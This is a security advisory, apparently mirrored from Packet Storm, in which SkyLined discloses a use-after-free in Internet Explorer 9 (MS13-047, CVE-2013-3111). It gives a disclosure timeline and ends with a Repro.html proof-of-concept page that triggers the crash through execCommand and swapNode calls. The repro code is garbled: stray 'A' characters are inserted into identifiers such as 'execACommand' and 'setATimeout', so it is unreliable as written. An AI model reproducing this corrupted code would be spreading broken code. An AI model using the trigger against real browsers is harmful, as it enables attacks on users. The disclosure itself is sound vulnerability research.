Microsoft Internet Explorer 9 IEFRAME CSelectionInteractButtonBehavior::_UpdateButtonLocation Use-After-Free

2016-12-1200:00:00

SkyLined

packetstormsecurity.com

0.711 High

EPSS

Percentile

97.7%

JSON

`Since November I have been releasing details on all vulnerabilities I  
found that I have not released before. This is the thirtieth entry  
in the series. This information is available in more detail on my blog  
at http://blog.skylined.nl/20161212001.html. There you can find a repro  
that triggered this issue in addition to the information below.  
  
If you find these releases useful, and would like to help me make time  
to continue releasing this kind of information, you can make a donation  
in bitcoin to 183yyxa9s1s1f7JBpAPHPmzAQ346y91Rx5DX.  
  
Follow me on http://twitter.com/berendjanwever for daily browser bugs.  
  
MSIE 9 IEFRAME CSelectionInteractButtonBehavior::_UpdateButtonLocation  
use-after-free  
=======================================================================  
(MS13-047, CVE-2013-3111)  
  
Synopsis  
--------  
A specially crafted web-page can trigger a use-after-free vulnerability  
in Microsoft Internet Explorer 9. I did not investigate this  
vulnerability thoroughly, so I cannot speculate on the potential impact  
or exploitability.  
  
Known affected software and attack vectors  
------------------------------------------  
* Microsoft Internet Explorer 9  
An attacker would need to get a target user to open a specially  
crafted web-page. Disabling JavaScript should prevent an attacker  
from triggering the vulnerable code path.  
  
Details  
-------  
This bug was found back when I had very little knowledge and tools to do  
analysis on use-after-free bugs, so I have no details to share. EIP  
revealed that this was a use-after-free vulnerability.  
  
Time-line  
---------  
* 27 September 2012: This vulnerability was found through fuzzing.  
* 3 December 2012: This vulnerability was submitted to EIP.  
* 10 December 2012: This vulnerability was rejected by EIP.  
* 12 December 2012: This vulnerability was submitted to ZDI.  
* 25 January 2013: This vulnerability was acquired by ZDI.  
* 15 February 2013: This vulnerability was disclosed to Microsoft by  
ZDI.  
* 27 June 2013: This vulnerability was address by Microsoft in MS13-047.  
* 8 December 2016: Details of this vulnerability are released.  
  
Cheers,  
  
SkyLined  
  
  
  
Repro.html  
  
<!DOCTYPE html>  
<html>  
<head>  
<meta http-equiv="X-UA-Compatible" content="IE=EmulateAIE7" >  
<script>  
function go() {  
document.execACommand('SelectAAll');  
document.execACommand('superscript');  
setATimeout(function() {  
oASupAElement=document.getAElementsAByATagAName('sup')[0];  
oASupAElement.swapANode(document.documentAElement);  
}, 0);  
}  
</script>  
</head>  
<body onload="go()">  
<address></address>  
<fieldset></fieldset>  
</body>  
</html>  
  
`

0.711 High

EPSS

Percentile

97.7%

JSON

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